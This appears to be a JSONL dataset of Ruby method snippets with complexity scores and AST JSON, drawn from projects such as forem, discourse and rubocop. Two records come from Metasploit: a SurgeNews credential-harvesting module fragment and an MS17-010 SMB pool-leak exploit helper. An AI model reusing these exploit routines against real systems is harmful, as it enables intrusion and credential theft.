(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"origin_type\"]},{\"type\":\"sym\",\"children\":[\"service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"module_fullname\"]},{\"type\":\"send\",\"children\":[null,\"fullname\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_type\"]},{\"type\":\"sym\",\"children\":[\"nonreplayable_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"private_data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"lvasgn\",\"children\":[\"credential_core\",{\"type\":\"send\",\"children\":[null,\"create_credential\",{\"type\":\"lvar\",\"children\":[\"credential_data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core\"]},{\"type\":\"lvar\",\"children\":[\"credential_core\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Model\"]},\"Login\"]},\"Status\"]},\"UNTRIED\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_data\"]},\"merge!\",{\"type\":\"lvar\",\"children\":[\"service_data\"]}]},{\"type\":\"send\",\"children\":[null,\"create_credential_login\",{\"type\":\"lvar\",\"children\":[\"login_data\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"surgenews.user.creds\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_csv\"]},{\"type\":\"str\",\"children\":[\"SurgeNews User Credentials\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials saved in: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}","id":"9621fcad-f1c6-4448-8734-27fd951628e1"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/groups/feature_setting.rb","start_line":18,"raw_source":"def resource_member?(user, feature)\n group.member?(user, ::Groups::FeatureSetting.required_minimum_access_level(feature))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_member?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"feature\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group\"]},\"member?\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Groups\"]},\"FeatureSetting\"]},\"required_minimum_access_level\",{\"type\":\"lvar\",\"children\":[\"feature\"]}]}]}]}","id":"ca3eaac1-bc97-424f-8630-233d15c63b82"}
+{"repo_name":"forem","file_path":"./repos/forem/app/controllers/stories/feeds_controller.rb","start_line":40,"raw_source":"def assign_feed_stories\n params[:type_of] = \"discover\" if params[:type_of].blank?\n\n stories = if params[:timeframe].in?(Timeframe::FILTER_TIMEFRAMES)\n timeframe_feed\n elsif params[:type_of] == \"following\" && user_signed_in? && params[:timeframe] == Timeframe::LATEST_TIMEFRAME\n latest_following_feed\n elsif params[:type_of] == \"following\" && user_signed_in?\n relevant_following_feed\n elsif params[:timeframe] == Timeframe::LATEST_TIMEFRAME\n latest_feed\n elsif user_signed_in?\n signed_in_base_feed\n else\n signed_out_base_feed\n end\n\n ArticleDecorator.decorate_collection(stories)\n end","complexity_score":51.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assign_feed_stories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_of\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"type_of\"]},{\"type\":\"str\",\"children\":[\"discover\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"stories\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"in?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeframe\"]},\"FILTER_TIMEFRAMES\"]}]},{\"type\":\"send\",\"children\":[null,\"timeframe_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_of\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"following\"]}]},{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeframe\"]},\"LATEST_TIMEFRAME\"]}]}]},{\"type\":\"send\",\"children\":[null,\"latest_following_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_of\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"following\"]}]},{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]}]},{\"type\":\"send\",\"children\":[null,\"relevant_following_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeframe\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeframe\"]},\"LATEST_TIMEFRAME\"]}]},{\"type\":\"send\",\"children\":[null,\"latest_feed\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[null,\"signed_in_base_feed\"]},{\"type\":\"send\",\"children\":[null,\"signed_out_base_feed\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArticleDecorator\"]},\"decorate_collection\",{\"type\":\"lvar\",\"children\":[\"stories\"]}]}]}]}","id":"87e2647b-b92a-4c6b-8ba5-d322b3fb26cb"}
+{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":222,"raw_source":"def test_strings_should_get_stripped_inside_tags\n assert_equal(\"
This should have no spaces in front of it
\",\n render(\".stripped This should have no spaces in front of it\").chomp)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strings_should_get_stripped_inside_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"
This should have no spaces in front of it
\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"str\",\"children\":[\".stripped This should have no spaces in front of it\"]}]},\"chomp\"]}]}]}","id":"772d008b-cb50-4718-b401-52e53c55d7ff"}
+{"repo_name":"openproject","file_path":"./repos/openproject/app/services/versions/update_service.rb","start_line":53,"raw_source":"def no_valid_version_before_or_now?\n version_sharings.index(model.sharing_before_last_save).nil? ||\n version_sharings.index(model.sharing).nil?\n end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"no_valid_version_before_or_now?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_sharings\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing_before_last_save\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"version_sharings\"]},\"index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"sharing\"]}]},\"nil?\"]}]}]}","id":"c79bc188-5a9d-41fd-9e10-7a689834b328"}
+{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/percent_string_array.rb","start_line":61,"raw_source":"def contains_quotes_or_commas?(node)\n node.values.any? do |value|\n literal = value.children.first.to_s.scrub\n\n # To avoid likely false positives (e.g. a single ' or \")\n next if literal.gsub(/[^[[:alnum:]]]/, '').empty?\n\n QUOTES_AND_COMMAS.any? { |pat| literal.match?(pat) }\n end\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"contains_quotes_or_commas?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"literal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"children\"]},\"first\"]},\"to_s\"]},\"scrub\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"literal\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^[[:alnum:]]]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTES_AND_COMMAS\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pat\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"literal\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"pat\"]}]}]}]}]}]}","id":"0a3a1aba-7523-4305-91b0-89bb66c27199"}
+{"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":191,"raw_source":"def update_reactable\n Reactions::UpdateRelevantScoresWorker.perform_async(id)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_reactable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reactions\"]},\"UpdateRelevantScoresWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}","id":"3f8ef9a2-f105-467b-a365-6273a20e0c64"}
+{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20131014203951_backfill_post_upload_reverse_index.rb","start_line":69,"raw_source":"def is_local_avatar?(url)\n url.starts_with?(local_avatar_base_url)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_local_avatar?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"starts_with?\",{\"type\":\"send\",\"children\":[null,\"local_avatar_base_url\"]}]}]}","id":"051b2c1f-fd61-4131-8972-a9b9bb8601f4"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb","start_line":850,"raw_source":"def leak_frag_size(fid)\n # use same mid for NT Trans and NT Trans Secondary\n mid = next_multiplex_id()\n\n op = ::Rex::Proto::SMB::Constants::NT_TRANSACT_RENAME\n\n r1pkt = create_nt_trans_packet(op, param: [fid].pack(\"V\"), mid: mid, data: Rex::Text.rand_text_alpha(0x10d0), # data: \"A\" * 0x10d0,#\n maxParameterCount: GROOM_TRANS_SIZE - 0x10d0 - TRANS_NAME_LEN)\n\n r2pkt = create_nt_trans_secondary_packet(mid: mid, data: Rex::Text.rand_text_alpha(276)) # data: \"B\" * 276) #\n\n r1bin = r1pkt.to_s[0..-9]\n r2bin = r1pkt.to_s[-8..-1] + r2pkt.to_s\n self.simple.client.smb_send(r1bin)\n self.simple.client.smb_send(r2bin)\n\n data = recv_transaction_data(mid, 0x10d0 + 276)\n data = data[0x10d4..-1]\n\n if data[X64_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'\n @ctx['arch'] = 'x64'\n @ctx['FRAG_POOL_SIZE'] = data[X64_FRAG_TAG_OFFSET - 2].ord * X64_POOL_ALIGN\n elsif data[X86_FRAG_TAG_OFFSET..-1].starts_with? 'Frag'\n @ctx['arch'] = 'x86'\n @ctx['FRAG_POOL_SIZE'] = data[X86_FRAG_TAG_OFFSET - 2].ord * X86_POOL_ALIGN\n else\n raise MS17_010_Error, \"Unable to parse Frag leak data!\"\n end\n\n vprint_status(\"Frag pool info leak: arch=#{@ctx['arch']}, size=0x#{@ctx['FRAG_POOL_SIZE'].to_s(16)}\")\n end","complexity_score":67.88,"ast_json":"{\"type\":\"def\",\"children\":[\"leak_frag_size\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mid\",{\"type\":\"send\",\"children\":[null,\"next_multiplex_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"op\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"SMB\"]},\"Constants\"]},\"NT_TRANSACT_RENAME\"]}]},{\"type\":\"lvasgn\",\"children\":[\"r1pkt\",{\"type\":\"send\",\"children\":[null,\"create_nt_trans_packet\",{\"type\":\"lvar\",\"children\":[\"op\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"param\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fid\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mid\"]},{\"type\":\"lvar\",\"children\":[\"mid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[4304]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maxParameterCount\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GROOM_TRANS_SIZE\"]},\"-\",{\"type\":\"int\",\"children\":[4304]}]},\"-\",{\"type\":\"const\",\"children\":[null,\"TRANS_NAME_LEN\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r2pkt\",{\"type\":\"send\",\"children\":[null,\"create_nt_trans_secondary_packet\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mid\"]},{\"type\":\"lvar\",\"children\":[\"mid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[276]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r1bin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r1pkt\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-9]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"r2bin\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r1pkt\"]},\"to_s\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[-8]},{\"type\":\"int\",\"children\":[-1]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r2pkt\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple\"]},\"client\"]},\"smb_send\",{\"type\":\"lvar\",\"children\":[\"r1bin\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple\"]},\"client\"]},\"smb_send\",{\"type\":\"lvar\",\"children\":[\"r2bin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"recv_transaction_data\",{\"type\":\"lvar\",\"children\":[\"mid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[4304]},\"+\",{\"type\":\"int\",\"children\":[276]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[4308]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X64_FRAG_TAG_OFFSET\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"Frag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"str\",\"children\":[\"x64\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FRAG_POOL_SIZE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X64_FRAG_TAG_OFFSET\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},\"ord\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"X64_POOL_ALIGN\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X86_FRAG_TAG_OFFSET\"]},{\"type\":\"int\",\"children\":[-1]}]}]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"Frag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"arch\"]},{\"type\":\"str\",\"children\":[\"x86\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FRAG_POOL_SIZE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"X86_FRAG_TAG_OFFSET\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]},\"ord\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"X86_POOL_ALIGN\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MS17_010_Error\"]},{\"type\":\"str\",\"children\":[\"Unable to parse Frag leak data!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Frag pool info leak: arch=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"arch\"]}]}]},{\"type\":\"str\",\"children\":[\", size=0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ctx\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FRAG_POOL_SIZE\"]}]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]}]}]}]}]}","id":"35e0dfab-10a5-4b7e-a0af-c2c034859cf1"}
+{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/class_filter.rb","start_line":26,"raw_source":"def filter\n validate_class_names!\n\n classes_to_include = @classes.dup\n classes_to_include.select! { |klass| class_included?(@only, klass) } if @only.any?\n classes_to_include.reject! { |klass| class_included?(@skip, klass) } if @skip.any?\n\n classes_with_dependencies = Set.new(classes_to_include)\n classes_to_include.each { |klass| add_dependencies(klass, classes_with_dependencies) }\n\n classes_with_dependencies.to_a\n end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_class_names!\"]},{\"type\":\"lvasgn\",\"children\":[\"classes_to_include\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@classes\"]},\"dup\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@only\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"class_included?\",{\"type\":\"ivar\",\"children\":[\"@only\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skip\"]},\"any?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]},\"reject!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"class_included?\",{\"type\":\"ivar\",\"children\":[\"@skip\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"classes_with_dependencies\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_to_include\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[null,\"add_dependencies\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"classes_with_dependencies\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes_with_dependencies\"]},\"to_a\"]}]}]}","id":"e0b41c74-97a1-4e0e-9319-97d3657bfc2f"}
+{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/connector.rb","start_line":126,"raw_source":"def generate_response(payload)\n connection_config = resolved_configuration.with_indifferent_access\n client = connector_client.new\n client.send(:run_model, connection_config, JSON.parse(payload))\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"connection_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resolved_configuration\"]},\"with_indifferent_access\"]}]},{\"type\":\"lvasgn\",\"children\":[\"client\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connector_client\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"send\",{\"type\":\"sym\",\"children\":[\"run_model\"]},{\"type\":\"lvar\",\"children\":[\"connection_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}","id":"e4ff1303-3927-403e-8f4c-60038c142aa7"}
+{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion/rules/first_order.rb","start_line":34,"raw_source":"def completed_orders\n user ? user.orders.for_store(store).complete : orders_by_email\n end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"completed_orders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"orders\"]},\"for_store\",{\"type\":\"send\",\"children\":[null,\"store\"]}]},\"complete\"]},{\"type\":\"send\",\"children\":[null,\"orders_by_email\"]}]}]}","id":"3ef346e0-cc18-48cf-971c-5649e9ff6785"}
